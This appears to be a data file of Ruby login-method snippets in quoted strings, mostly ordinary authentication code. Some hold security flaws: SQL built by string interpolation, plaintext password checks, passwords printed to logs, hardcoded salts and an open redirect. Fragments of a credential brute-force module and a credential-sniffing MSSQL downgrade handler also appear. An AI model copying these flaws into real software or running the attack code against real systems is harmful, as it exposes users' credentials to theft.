"def user_login\n @retval = Hash.new()\n unless params[:username].blank?\n unless params[:password].blank? #check for username and password input\n @hmm_user = HmmUser.find(:first,:conditions=>{:v_user_name=>params[:username],:v_password=>params[:password],:e_user_status=>'unblocked'},:select=>'id')\n if(@hmm_user)\n @retval['hmm_user_id'] = @hmm_user.id\n @retval['status'] = true\n else\n @retval['message'] = 'invalid login details'\n @retval['status'] = false\n end\n else\n @retval['message'] = 'password is required'\n @retval['status'] = false\n end\n else\n @retval['message'] = 'username is required'\n @retval['status'] = false\n end\n render :xml => @retval.to_xml({:root=>'response',:dasherize =>false})\n end",
"def parse_user!\n login_xml = Hpricot.XML(self.login_token) \n item = (login_xml/:login).first\n self.login_type = item[\"type\"]\n self.login_id = (item/:login_id).inner_html\n self.name = (item/:name).inner_html\n self.email = (item/:email).inner_html\n self.expires_at = (item/:expires_at).inner_html\n self.auth_for = (item/:auth_for).inner_html\n return true \n end",
"def login\n auth_token =\n AuthenticateUser.new(auth_params[:email], auth_params[:phone_number], auth_params[:password]).call\n response = { message: Message.successful_login, auth_token: auth_token }\n json_response(response)\n end",
"def auth(user, password)\n with_viewstate do | payload |\n login_form_values = {\n \"txtUserName\" => user.to_s,\n \"txtUserPass\" => password.to_s,\n \"cmdLogin\" => \"cmdLogin\",\n \"listSpeed\" => \"Broadband\",\n \"__VIEWSTATE\" => payload,\n }\n \n begin\n @outlook.start do |http|\n form_post = Net::HTTP::Post.new(\"/Remote/logon.aspx\")\n form_post.set_form_data(login_form_values, '&')\n response = http.request(form_post); response.value\n end\n rescue Net::HTTPRetriableError => e\n if e.message =~ /302/ # RWW will return a redirect if the user is found\n return true\n end\n end\n \n return false\n end\n end",
"def login\n\t\t@user = User.where(:email => params[:email]).first\n\t\t@response = Hash.new\n\n\t\tif @user\n\t\t\tif @user.valid_password?(params[:password])\n\t\t\t\t@response[:auth_token] = @user.authentication_token\n\t\t\telse\n\t\t\t\t@response[:error] = \"incorrect_password\"\n\t\t\tend\n\t\telse\n\t\t\t@response[:error] = \"incorrect_email\"\n\t\tend\n\n\t\trespond_with(@response, :location => nil)\n\tend",
"def userlogin(req)\n\tbasica = request.env[\"HTTP_AUTHORIZATION\"].to_s.split(\"Basic \")\n\tbasicas = basica[1].to_s\n\tauthdata = (Base64.decode64(basica.to_s)).split(':')\n\tusername = authdata[0].to_s\n\tpass = authdata[1].to_s\n\tputs \"Usuario: #{username}\"\n\tputs \"Password: #{pass}\"\n\tu = User.where(email:username,password:pass).take\n\tsession[:username] = username\n\treturn u\nend",
"def login(username, pwd)\n user = @server.proxy('User')\n logged_in_user_response = user.login({'login' => username, 'password' => pwd})\n #puts \"\\nlogged in user id = \" + logged_in_user_response['id'].to_s\n end",
"def user_login\n @raw['user']['login']\n end",
"def logs_in?(user, password)\n \n @http = (@use_ssl? ? Net::HTTPS : Net::HTTP).new(@server, (@use_ssl ? 443 : 80))\n \n with_viewstate_and_connection(@http) do | payload |\n login_form_values = {\n \"txtUserName\" => user.to_s,\n \"txtUserPass\" => password.to_s,\n \"cmdLogin\" => \"cmdLogin\",\n \"listSpeed\" => \"Broadband\",\n \"__VIEWSTATE\" => payload,\n }\n \n begin\n @http.start do |http|\n form_post = Net::HTTP::Post.new(LOGIN_URL)\n form_post.set_form_data(login_form_values, '&')\n response = http.request(form_post); response.value\n end\n rescue Net::HTTPRetriableError => e\n if e.message =~ /302/ # RWW will return a redirect if the user is found\n return true\n end\n end\n return false\n end\n end",
"def login\n if params[:token]==md5(params[:email].to_s+\"fuckch0p\")\n @user = User.authenticate params[:email], params[:password]\n if @user\n @r = MobileApiResponse.new\n @r.user_id = @user.id\n @r.token = md5(@user.id.to_s + \"g04ts\")\n else\n @r = MobileApiError.new 3\n end\n else\n @r = MobileApiError.new 1\n end\n render :json => @r\n end",
"def process_login\n# Something is really wrong\n return dc_render_404('Login:') unless ( params[:record] and params[:record][:username] and params[:record][:password] )\n success = false\n unless params[:record][:password].blank? \n# user must be defined locally\n user = DcUser.find_by(username: params[:record][:username])\n if user\n# LDAP alternative. You must add gem 'net-ldap' to Gemfile \n# ldap = Net::LDAP.new(host: 'ldap.yourdomain.com')\n# ldap.auth(\"#{params[:record][:username]}@yourdomain.com\", params[:record][:password])\n# success = ldap.bind\n\n# authenticate locally\n success = user.authenticate(params[:record][:password]) unless success\n end\n end\n# \n if success\n fill_login_data(user, false)\n redirect_to '/'\n else # display login error\n flash[:error] = t('drgcms.invalid_username')\n redirect_to \"/login\"\n end\nend",
"def mssql_parse_reply( event )\n return if not event.data\n\n data = event.data.dup\n\n token = data.slice!(0,1).unpack('C')[0]\n\n case token\n when Constants::TDS_MSG_LOGIN\n \t BetterCap::Logger.info \"[#{'MSSQL DOWNGRADE'.green}] TDS_MSG_LOGIN Received, parsing for credentials\"\n mssql_parse_login(data)\n return mssql_send_error(\"Login failed for user\")\n\n when Constants::TDS_MSG_PRELOGIN\n \t BetterCap::Logger.info \"[#{'MSSQL DOWNGRADE'.green}] TDS_MSG_PRELOGIN Received, forcing downgrade\"\n return mssql_send_prelogin_response\n\n else\n # We don't know this token, so we let the traffic through as usual\n return nil\n end\n end",
"def do_login(user, pass)\n vprint_status(\"#{rhost}:#{rport} - Trying username:'#{user.inspect}' with password:'#{pass.inspect}'\")\n begin\n res = send_request_cgi(\n {\n 'uri' => \"/doms/login/processLogin.php\",\n 'method' => 'GET',\n 'vars_get' =>\n {\n 'login' => user,\n 'passwd' => pass,\n 'tzOffset' => '-25200',\n 'tzString' => 'Thur+May+05+1983+05:05:00+GMT+0700+'\n }\n })\n\n if res.nil?\n print_error(\"#{rhost}:#{rport} - Connection timed out\")\n return :abort\n end\n\n check_key = \"The user has logged in successfully.\"\n\n key = JSON.parse(res.body)[\"statusString\"]\n\n if (not res or key != \"#{check_key}\")\n vprint_error(\"#{rhost}:#{rport} - FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}\")\n return :skip_pass\n else\n print_good(\"#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'\")\n report_cred(\n ip: rhost,\n port: rport,\n service_name: 'SevOne Network Performance Management System Application',\n user: user,\n password: pass,\n proof: key\n )\n return :next_user\n end\n\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE\n print_error(\"#{rhost}:#{rport} - HTTP Connection Failed, Aborting\")\n return :abort\n end\n end",
"def process_login\r\n # Somebody is probably playing\r\n return dc_render_404 unless ( params.dig(:record, :username) && params.dig(:record, :password) )\r\n\r\n return_to = request.env['HTTP_REFERER'] || '/'\r\n if params[:record][:password].present? #password must not be empty\r\n user = DcUser.find_by(username: params[:record][:username], active: true)\r\n if user && user.authenticate(params[:record][:password])\r\n fill_login_data(user, params[:record][:remember_me].to_i == 1)\r\n return redirect_to(params[:return_to] || return_to, allow_other_host: true)\r\n else\r\n clear_login_data # on the safe side\r\n end\r\n end\r\n flash[:error] = t('drgcms.invalid_username')\r\n redirect_to return_to\r\nend",
"def pap_login(session,new_body)\n authen_start = session.authen_start\n\n if (!authen_start.header.minor_version_one?) # pap login requires minor version 1\n new_body.status_fail!\n new_body.server_msg = \"Client sent malformed packet to server for PAP login. \" +\n \"Minor version should be 1 but was #{authen_start.header.minor_version}.\"\n @tacacs_daemon.log(:error,['msg_type=Authentication', \"message=#{new_body.server_msg}\",\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n elsif (authen_start.body.user_len != 0 && authen_start.body.data_len != 0)\n # determine pass/fail status\n username = authen_start.body.user\n pass_fail = authenticate(username, authen_start.body.data, authen_start)\n if (pass_fail[:pass])\n new_body.status_pass!\n else\n new_body.status_fail!\n new_body.server_msg = pass_fail[:msg]\n end\n\n else\n new_body.status_fail!\n new_body.server_msg = \"Client requested PAP login without providing both username and password.\"\n @tacacs_daemon.log(:debug,['msg_type=Authentication', \"message=#{new_body.server_msg}\",\"status=#{new_body.xlate_status}\"],authen_start,@peeraddr)\n end\n\n return(nil)\n end",
"def _login(username, password)\n begin\n return set_error_object({message: @configuration.not_initialized_message}) if not_initialized?\n url = \"#{base_uri}/#{@configuration.users_path}/login.#{@configuration.api_request_format}\"\n response = post url, body: {user: username, password: Digest::MD5.hexdigest(password)}\n JSON.parse (response.body && !response.body.empty?) ? response.body : set_error_object #returns the complete object\n rescue => e\n puts e.to_s #debug the error\n end\n end",
"def login\n response = client.call :login, :message => { :username => username, :password => password }\n response.body[:login_response][:result]\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = LoginResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = LoginResultSet.new(resp)\n return results\n end",
"def login\n response = @client.call(:login,\n cookies: @auth_cookie,\n message: {\n username: @username, \n password: decrypt(@password)\n })\n\n @auth_cookie = response.http.cookies if @auth_cookie.nil?\n @login_token = response.hash[:envelope][:body][:login_response][:login_result]\n response\n end",
"def login\n @user = User.find_or_create_from_auth_hash(auth_hash)\n @user_name = @user.display_name\n\n session[:current_user_id] = @user.id\n\n render :login, :layout => false\n end",
"def login(host)\n # Set the timeout to 15 minutes\n @session_timeout = (Time.new.to_i + 900)\n\n login_headers = { 'referer' => \"https://#{@uri.host}/ipa/ui/index.html\", 'Accept' => 'application/json' }\n\n if @method == :keberose\n login_method = 'login_kerberos'\n gssapi = GSSAPI::Simple.new(@uri.host, 'HTTP')\n # Initiate the security context\n token = gssapi.init_context\n login_headers.merge!('Authorization' => \"Negotiate #{Base64.strict_encode64(token)}\", 'Content-Type' => 'application/json')\n login_request = { method: 'ping', params: [[], {}] }\n elsif @method == :user_pass\n login_method = 'login_password'\n login_headers.merge!('Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'text/plain')\n login_request = @credentials\n end\n\n login_uri = URI.parse(\"https://#{@uri.host}/ipa/session/#{login_method}\")\n\n resp = @http.post(login_uri, login_request, login_headers)\n\n return unless resp.status != 200\n\n # invalid passowrd could also mean invalid username\n puts \"HTTP #{resp.status.to_s + ':' + resp.reason} Error authenticating user: #{resp.headers['X-IPA-Rejection-Reason']}\"\n end",
"def perform(query={})\n unless @url or Config.url\n raise ArgumentError, \"Unable to perform the request : Uknown URL to Oempro\"\n end\n unless query.nil? or query.kind_of? Hash\n raise ArgumentError, \"Unable to perform the request : params have to be a hash\"\n end\n\n query ||= {}\n query.merge! :sessionid => @session_id || Base.session_id, :responseformat => 'JSON'\n\n uri = URI(@url || Config.url)\n @last_response = Roempro::Response.new(Net::HTTP.post_form(uri, query))\n\n if @last_response.errorcode == 99998 # session timeouted\n @resignin = true\n @retry = @retry.to_i + 1 if query[:command] != 'User.Login'\n else\n @resignin = nil\n end\n end",
"def login(params)\n if validate_login_user(params)\n db = connect_to_db()\n db.results_as_hash = true\n result = db.execute(\"SELECT id, password FROM users WHERE username=?\", [params[\"username\"]])\n if result.length == 0\n return {error: \"Check your input again\"}\n end \n if BCrypt::Password.new(result[0][\"password\"]) == params[\"password\"]\n return {user_id: result[0]['id']}\n else\n return {error: \"You have not provided the correct credentials!\"}\n end\n else\n return {error: \"Make sure your password is the same in both boxes.\"}\n end\n end",
"def auth(cl)\n\t\tuser = cl.find_by_login(params[:login])\n\t\tif user.try(:authenticate, params[:pass])\n\t\t\tres payload(user)\n\t\telse\n\t\t\terr 'invalid_credentials', 'Invalid Username/Password', :unauthorized\n\t\tend\n\tend",
"def process_login\r\n# Somebody is probably playing\r\n return dc_render_404 unless ( params[:record] and params[:record][:username] and params[:record][:password] )\r\n\r\n unless params[:record][:password].blank? #password must not be empty\r\n user = DcUser.find_by(username: params[:record][:username])\r\n if user and user.authenticate(params[:record][:password])\r\n fill_login_data(user, params[:record][:remember_me].to_i == 1)\r\n return redirect_to params[:return_to] || '/'\r\n end\r\n end\r\n flash[:error] = t('drgcms.invalid_username')\r\n redirect_to params[:return_to_error] || '/'\r\nend",
"def login\n\n=begin\n :: Expected Params ::\n\n Constants::REQUEST_PARAM_USERNAME => Username\n Constants::REQUEST_PARAM_USERPASSWORD => UserPassword\n\n=end\n\n # Look up for User in database\n find_user\n\n if @user\n @user.signin!(request)\n\n render json: {status: status_code(:ok), message: '', data: @user.as_signin_json}\n \n end\n\n end",
"def do_login\n type = :unknown\n\n if !cookies[:user].nil? && cookies[:user] != \"\"\n @user = User.find( :first,\n\t\t\t :conditions =>\n\t\t\t [ \"MD5(CONCAT(?,'|',?,'|',username,'|',password))=?\",\n\t\t\t PW_SALT, request.remote_ip, cookies[:user]\n\t\t\t ]\n );\n\n type = :cookie\n\n elsif params[:token]\n token = Token.find_by_token( params[:token] );\n @user = token.user if ( !token.nil? )\n\t\n type = :token\n\n elsif params[:user]\n @user = User.find( :first,\n\t\t\t :conditions =>\n\t\t\t [ \"username = ? AND password = ?\",\n\t\t\t params[:user][:username],\n\t\t\t User.make_hashed_password(params[:user][:password])\n\t\t\t ]\n )\n\n type = :form\n end\n\n if ( type == :form && !verify_recaptcha() )\n flash[:error] = \"are you not human?\"\n return( redirect_to :action => \"login\")\n end\n\n if !@user.nil?\n session[:user] = @user.id\n return( redirect_to :controller => \"home\", :action => \"index\" )\n\n else\n flash[:error] = \"Login failed.<br/>\"\n\n if type == :cookie\n\tflash[:error] += \"Your login cookie was not valid\"\n\tcookies[:user] = nil\n\n elsif type == :form\n\tflash[:error] += \"Username and password do not match\"\n\n elsif type == :token\n\tflash[:error] += \"The token is invalid\"\n\n else\n\tflash[:error] += \"Something went terribly wrong.\"+\n\t \"We have been informed, please try again later\"\n\tRAILS_DEFAULT_LOGGER.error(\"Unknown login type found\");\n\n end\n\n return( redirect_to :action => \"login\" )\n end\n end",
"def login()\n session[:cas_user] = nil\n \n if request.post?\n clear_page_vars\n user = User.authenticate(params[:username])\n if user\n session[:cas_user] = user.username\n \n # Cache some common looked-up user fields.\n person = lookup_cas_user(user.username)\n if person\n session[:title] = person.title\n session[:phone] = person.phone\n end\n \n uri = session[:original_uri]\n session[:original_uri] = nil\n home = user_home(user) \n redirect_to(uri || {:action => home})\n else\n flash.now[:notice] = \"Invalid user.\" \n end\n end\n end",
"def login_message(connection, nonce)\n Protocol::Query.new(\n auth_database(connection),\n Database::COMMAND,\n { authenticate: 1, user: user.name, nonce: nonce, key: user.auth_key(nonce) },\n limit: -1\n )\n end",
"def getUser login\n return false if !@usrData\n @usrData[login]\n end",
"def login\n user = User.find_by_email(params[:username])\n if user.nil? || (user && user.authenticate(params[:password]) == false) || user.deleted\n render status: 400, json: nil \n else\n session[:user_id] = user.id\n session[:username] = user.username\n session[:email] = user.email\n session[:verified] = user.verified\n user.last_ip_login = request.remote_ip\n user.save\n render status: 200, json: session\n end\n end",
"def login\n return @token if @token or @auth_method == :api_key\n request = Request.new(\"Post\", \"#{@config[:base_url]}/user/login\")\n\n request.add_multipart_body ({\n name: @config[:username],\n pass: @config[:password],\n form_id: \"user_login\",\n op: \"Log in\",\n })\n\n response = request.perform\n @token = response['Set-Cookie'].split(\";\")[0] if response and response['Set-Cookie']\n @token\n end",
"def request_login(http)\r\n login_post = construct_login_request\r\n login_response = http.request(login_post)\r\n logger.debug \"Login response: #{login_response.code}, Message: #{login_response.message}, Body: #{login_response.body}\"\r\n\r\n if login_response.code == '200'\r\n logger.debug 'Successfully logged in.'\r\n\r\n json_resp = JSON.parse(login_response.body)\r\n json_resp['auth_token']\r\n else\r\n logger.debug 'Failed log in.'\r\n nil\r\n end\r\n end",
"def login\n\n if params[:username] && params[:token]\n @user = token_based_login\n end\n\n if @user\n set_session_headers\n render json: { username: @user.username, auth_token: get_md5_digest(params[:username]), logged_in: true }\n else\n render json: { logged_in: false }, status: 401\n end\n end",
"def login\n \t\t response = @client.request :login do\n soap.body = { username: self.zconfig.user_name, password: self.zconfig.password}\n \t\t end\n \t\t response.to_hash\n \t \t self.session = response.to_hash[:login_response][:result][:session]\n end",
"def login\n username, password = request[:username, :password]\n if check_auth(username, password)\n session[:logged_in] = true\n session[:username] = username\n inside_stack? ? answer : redirect_referrer\n else\n if defined? AUTH_ELEMENT and AUTH_ELEMENT.to_s.split.any?\n open_element = \"<#{AUTH_ELEMENT}>\"\n close_element = \"</#{AUTH_ELEMENT}>\"\n end\n %{\n #{open_element}\n <form method=\"POST\" action=\"#{Rs(:login)}\">\n <ul style=\"list-style:none;\">\n <li>Username: <input type=\"text\" name=\"username\" /></li>\n <li>Password: <input type=\"password\" name=\"password\" /></li>\n <li><input type=\"submit\" /></li>\n </ul>\n </form>\n #{close_element}\n }\n end\n end",
"def login\n self.class.trace_execution_scoped(['Custom/login/find_user']) do\n @u = (User.find_by_primary_email(params[:username].downcase) || User.find_by_nickname(params[:username].downcase.to_s)) if params[:username]\n end\n\n self.class.trace_execution_scoped(['Custom/login/if_block']) do\n if @u and @u.has_password? and @u.valid_password?(params[:password])\n @user = @u\n elsif @u and (params[:password] == \"anonymous\") and (@u.user_type == User::USER_TYPE[:anonymous])\n @user = @u\n else\n query = {:auth_failure => 1, :auth_strategy => \"that username/password\"}\n query[:redir] = params[:redir] if params[:redir]\n redirect_to add_query_params(request.referer || Settings::ShelbyAPI.web_root, query) and return\n end\n end\n\n # any user with valid email/password is a valid Shelby user\n # this sets up redirect\n self.class.trace_execution_scoped(['Custom/login/sign_in_current_user']) do\n sign_in_current_user(@user)\n end\n redirect_to clean_query_params(@opener_location) and return\n end",
"def require_login auth_data\r\n username = auth_data[:login][:email]\r\n password = auth_data[:login][:password] \r\n if username && password\r\n begin\r\n user = {\"email\"=>username, \"password\"=>password}\r\n newParams = {\"user\" => user}\r\n logger.info(\"Authentication::Params---#{newParams}\")\r\n @userSession = smvLogin(newParams, request.env)\r\n smv_status = {\r\n :statusCode => @userSession.statusCode,\r\n :value => @userSession.value, \r\n :msg => @userSession.message\r\n }\r\n logger.info(\"Authentication::require_login::userSession---#{smv_status}\")\r\n if smv_status[:statusCode].blank? || smv_status[:statusCode]==0\r\n session[:userSession] = smv_status[:value].sessionGuid\r\n session[:userEmail]= username\r\n current_user_status = current_user\r\n if current_user_status[:statusCode]==-1 \r\n smv_status =current_user_status\r\n loggedOut\r\n end\r\n end\r\n rescue Exception => exc\r\n logger.info(\"Authentication::User Session:-- #{session[:userSession]}, #{exc.message}\") \r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => \"Java API is throwing some exception:-- #{exc.message}\"\r\n }\r\n end\r\n else\r\n smv_status = {\r\n :statusCode => -1,\r\n :value => '', \r\n :msg => 'Please enter a valid username and password'\r\n }\r\n end\r\n return smv_status\r\n end",
"def login\n page = agent.get('http://login.live.com/login.srf?id=2')\n form = page.forms.first\n form.login = options[:username]\n form.passwd = options[:password]\n form.PwdPad = ( \"IfYouAreReadingThisYouHaveTooMuchFreeTime\"[0..(-1 - options[:password].to_s.size )])\n query_string = page.body.scan(/g_QS=\"([^\"]+)/).first.first rescue nil\n form.action = login_url + \"?#{query_string.to_s}\"\n page = agent.submit(form)\n \n # Check for login success\n if page.body =~ /The e-mail address or password is incorrect/ ||\n page.body =~ /Sign in failed\\./\n raise( Blackbook::BadCredentialsError, \n \"That username and password was not accepted. Please check them and try again.\" )\n end\n \n page = agent.get( page.body.scan(/http\\:\\/\\/[^\"]+/).first )\n end",
"def login(request, opts = {})\n data, _status_code, _headers = login_with_http_info(request, opts)\n return data\n end",
"def login\n status = 200\n result = {}\n\n if @errors.empty?\n user = User.find_by(id: @user_id)\n if user.nil?\n @errors[:user_id] = 'is invalid'\n result[:success] = false\n result[:errors] = @errors\n status = 400\n else\n if user.authenticate(@password)\n result[:success] = true\n result[:access_token] = user.access_token\n else\n @errors[:password] = 'is invalid'\n result[:success] = false\n result[:errors] = @errors\n status = 400\n end\n end\n else\n result[:success] = false\n result[:errors] = @errors\n status = 400\n end\n render status: status, json: result\n end",
"def login_user(username, password) # a[userid], \n result = db_connection().execute('SELECT id, password FROM users WHERE username=?', username)\n p result\n if result.length > 0\n if BCrypt::Password.new(result[0][\"password\"]) == password\n return {\n ok: true,\n msg: \"Logged in!\",\n id: result[0][\"id\"]\n }\n end\n return {\n ok: true,\n msg: \"Logged in!\"\n }\n end\n return {\n ok: false,\n msg: \"Password not located!\"\n }\n end",
"def handle_successful_login(response)\n Log.success(\"success!\")\n @cookie = /session=[^;]*/.match(response.headers[\"set-cookie\"])[0]\n set_user_info\n end",
"def login\n\t \t@userr = User.where([\"name = ? and password = ?\", params[:name],params[:password]]).first\n\n\t \tif not @userr.nil?\n\n\t \t\tif not (@userr.roles & Role.find([1, 2])).empty?\n\t \t\t\t@token = @userr.tokens.last\n\t \t\t\t@result = [@userr, @token]\n\t \t\t\trender :json => @result\n\t \t\t\t\n\t \t\telsif not @userr.events.select{ |ev| not ev.Completed and ev.EventDate.to_date + 2 >= Date.today}.empty?\n\t \t\t\t@token = @userr.tokens.last\n\t \t\t\t@result = [@userr, @token]\n\t \t\t\trender :json => @result\n\t \t\telse\n\t \t\t\trender :json => {error:\"There are no events currently active for this user.\"}, :status => :unauthorized\n\t \t\tend\n \t\telse\n\n \t\t\trespond_to do |format|\n \t\t\tformat.html { redirect_to '/login/index' }\n \t\t\tformat.json { render :json => {error:\"Invalid username or password please try again.\"}, :status => :unprocessable_entity }\n \t\tend\n\t\tend\n\tend",
"def login(login, pass)\n @logged_in_user = Fotolia::User.new(self, login, pass)\n res = self.remote_call('loginUser', login, pass)\n raise UserLoginError unless(res['session_id'])\n @session_id = res['session_id']\n end",
"def login\n @user_login\n end",
"def login\n user = User.find_by(username: params[\"username\"])\n if user && user.authenticate(params[\"password\"])\n session[:current_user_id] = user.id\n render json: User.to_hash(user)\n else\n render json: nil\n end\n end",
"def login\n # Clean this code\n @username = User.find_by username:params['username']\n @email = User.find_by email:params['email']\n if @username\n @username.authenticate(params['password']) ? (render json: @username) : (render :json => {:error => \"Unauthorized\"}.to_json, :status => 401)\n elsif @email\n render json: @email\n else\n set_user_from_facebook\n @user = User.new(user_params)\n @user.token = Digest::MD5.hexdigest(params[:token])\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end\n end",
"def auth\n session[:referer] = request.env['HTTP_REFERER'] if request.env['HTTP_REFERER']\n userparams = params[:user]\n @user = User.auth(userparams[:login],userparams[:password])\n #\n respond_to do |format|\n if @user.nil?\n logger.debug(\"User not found\")\n #login failed\n flash[:notice] = t('general.login_password_not_found')\n format.js { }\n format.xml { render :xml => {:auth => 'Failed', :description => flash[:notice]}.to_xml }\n format.html {redirect_to(:action=>'login')}\n elsif @user && !@user.active\n logger.debug(\"User is not active\")\n flash[:notice] = t('general.user_not_activated')\n format.js { }\n format.xml { render :xml => {:auth => 'Failed', :description => flash[:notice]}.to_xml }\n format.html {redirect_to(:action=>'login')}\n else\n #loged in\n session[:user] = @user.id\n logger.debug(session.inspect)\n @user.update_attribute(:updated_at, Time.now)\n format.js {}\n format.xml { render :xml => {:auth => 'OK', :user => @user}.to_xml }\n format.html {redirect_to(session[:referer] || '/')}\n end\n end\n \n end",
"def handle_login_response(response)\n case response.status\n when 302\n handle_successful_login(response)\n true\n when 200\n handle_failed_login\n false\n else\n handle_errored_login(response.status)\n false\n end\n end",
"def authenticate\n\t \tcommand = AuthenticateUser.call(params[:email], params[:password],'email_login')\n\t @user = User.find_by_email(params[:email])\n\t if command.success?\n\t \tif @user.user_type == \"site\"\n\t \t\tUserMailer.login(@user).deliver_later\n\t \t\trender json: { auth_token: command.result,\n\t \t\t\t\t\t user_type: @user.user_type,\n\t \t\t\t\t\t user_id: @user.id,\n\t \t\t\t\t\t roles: @user.roles }\n\t \telsif @user.user_type == \"startup\"\n\t \t\tUserMailer.login(@user).deliver_later\n\t \t\tstartup_user = StartupUser.find_by_user_id(@user.id)\n\t \t\tprogram_id = startup_user.startup_profile.startup_registration.program.id\n\t \t\trender json: { auth_token: command.result,\n\t \t\t\t\t\t\t user_type: @user.user_type,\n\t \t\t\t\t\t\t user_id: @user.id,\n\t \t\t\t\t\t\t startup_profile_id: startup_user.startup_profile_id,\n\t \t\t\t\t\t\t program_id: program_id }\n\t \telsif @user.user_type == \"mentor\"\n\t \t\tUserMailer.login(@user).deliver_later\n\t \t\tmentor_user = MentorUser.find_by_user_id(@user.id)\n\t \t\trender json: { auth_token: command.result,\n\t \t\t\t\t\t\t user_type: @user.user_type,\n\t \t\t\t\t\t\t user_id: @user.id}\t\t\t\t\t \n\t \tend\n\t \t\t@user.access_token = command.result\n\t \t@user.save!\n\t else\n\t render json: { message: command.errors[:message][0] }, status: :unauthorized\n\t end\n\t end",
"def login(args = { })\n # POST /svc/Login\n # Host: eval.parkmedia.tv\n # Content-type: application/x-www-form-urlencoded\n # Content-length: 25\n #\n # username=foo&password=bar\n\n # ERROR RESPONSE\n # --------------\n # HTTP/1.0 403 Access Forbidden\n # Content-type: text/plain\n #\n # Error=BadAuthentication\n\n # SUCCESS RESPONSE\n # ----------------\n # HTTP/1.0 200 OK\n # Content-type: text/plain\n # Set-Cookie: JSESSIONID=123456789\n #\n # JSESSIONID=123456789\n\n self.http_cookie = nil\n data = { }\n\n username = args[:username]\n password = args[:password]\n\n data['password'] = password if password\n data['username'] = username if username\n\n #logger.debug { \"Logging In As User: '#{username}' Using Password: #{password ? 'yes' : 'no'}\" }\n http_post_form('Login', data)\n self.http_cookie = response['set-cookie'] if response and response.code == '200'\n http_cookie\n end",
"def login\n if not @login.nil? and not @login.blank?\n @login\n elsif not self.username.nil? and not self.username.empty?\n self.username\n else\n self.email\n end\n end",
"def login_from_hash(h_login_params, is_login = true)\n @response_message = 'Logged in successfully.'\n @is_success = true\n @error_code = 100 # Fields not valid \n @user_login = Fs2UserLogin.new({:email => h_login_params[:email], :password => h_login_params[:password]})\n \n ## Check if login attributes are valid (before doing a full database check)\n if @user_login.valid?\n \n ## Authenticate and store user object in session\n if session[:user] = Fs2User.authenticate(h_login_params)\n \n init_person_objects\n \n ## Check if 'save_login' has been checked (for auto-login) \n init_cookie_login_from_session if h_login_params[:save_login]\n\n else\n \n @error_code = 101\n @response_message = 'Either Email or Password are incorrect.'\n @is_success = false\n \n end\n else\n @response_message = \"Errors found in fields!!\"\n @is_success = false\n end\n \n if @person.nil? && session[:user]\n @response_message = \"'User' object not associated to any 'Person' object. Make sure the 'UserID:\" + session[:user].id.to_s + \"' is associated with a 'person' object!\"\n @is_success = false\n end\n \n if @is_success\n flash[:notice_hold] = @response_message\n \n if h_login_params[:redirect_to].nil? && session[:return_to]\n \n redirect_to session[:return_to]\n \n elsif h_login_params[:redirect_to]\n \n redirect_to :action => h_login_params[:redirect_to][:action], :controller => h_login_params[:redirect_to][:controller]\n \n elsif session[:user].user_type_id == Fs2User::USER_TYPES[:recruitment_agent] || session[:user].user_type_id == Fs2User::USER_TYPES[:hiring_manager]\n \n redirect_to :action => :create_job_profile, :controller => :five_skills if !is_login || session[:job].nil?\n \n # redirect_to :action => :find_job_seekers, :controller => :five_skills if is_login && session[:job]\n redirect_to :action => :edit_job_profile, :controller => :fs_job, :job_id => session[:job].id if is_login && session[:job]\n \n elsif session[:user].user_type_id == Fs2User::USER_TYPES[:job_seeker]\n \n redirect_to :action => :create_job_seeker_profile, :controller => :five_skills if !is_login\n \n # redirect_to :action => :find_jobs, :controller => :five_skills if is_login\n redirect_to :action => :edit_job_seeker_profile, :controller => :fs_job_seeker, :job_seeker_id => session[:person].id if is_login\n \n end\n\n else\n flash[:error] = @response_message\n \n respond_to do |format|\n format.html { render '/five_skills/home_logged_out.html', :layout => \"five_skills_homepage\" }\n end\n end\n end",
"def query_login\r\n send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))\r\n end",
"def login\n respond_to do|format|\n format.html \n if request.post?\n @user=Userlogindetail.new(params[:userlogindetail])\n userinfo=Userlogindetail.find_by_useremail_and_userpassword(@user.useremail,@user.userpassword)\n if userinfo\n # session[:user_id]=userinfo.id\n # flash[:notice]=\"User #{userinfo.username} logged in.\" \n redirect_to :action=>'index'\n return\n else\n @user.userpassword=nil\n format.html { render action: \"login\" }\n flash[:notice]='Invalid Email/Password combination' \n end\n end\n end\n end",
"def login\n\t\tbegin\n\t\t\tr = execute(make_xml('LoginRequest', { 'sync-id' => 0, 'password' => @password, 'user-id' => @username }))\n\t\trescue APIError\n\t\t\traise AuthenticationFailed.new(r)\n\t\tend\n\t\tif(r.success)\n\t\t\t@session_id = r.sid\n\t\t\treturn true\n\t\tend\n\tend",
"def try_login\n if user = http_auth_login || validation_login || remember_me_login\n session[:uid] = user.id\n end\n end",
"def login\n user = User.find_by(username: user_params[:username])\n if user && user.authenticate(user_params[:password])\n render json: user, except: [:password_digest, :created_at, :updated_at]\n else\n render json: {errors: \"Wrong Username or Password!\"}\n end\n end",
"def login\n\t\t\tresponse = @http.get(\"/authentication/whoami\")\n\t if(response.code == '200')\n\t set_cookie(response)\n\t puts \"\"\n\t puts \"================\"\n\t puts \"login\"\n\t login_response = @http.post(\"/authentication/login\",\"username=#{@username}&password=#{@password}&skin=#{@skin}&account=#{@account}\",{'Cookie' => @cookies.to_s})\n\t check_cookie(login_response)\n\t login_check(login_response)\n\t puts \"--------\"\n\t else\n\t puts \"Error invalid host #{response.message}\"\n\t abort #if the login site is invalid, then abort\n\t end \n\t\tend",
"def valiateUser(uname, upass)\n @conn.exec( \"SELECT name FROM user_login WHERE name='#{uname}' AND upass='#{upass}'\" ) do |result|\n result.each do |row|\n @user = row['name']\n end\n end\n\treturn @user\n end",
"def get_login(token)\n session[:login] ||= query_login(token)\nend",
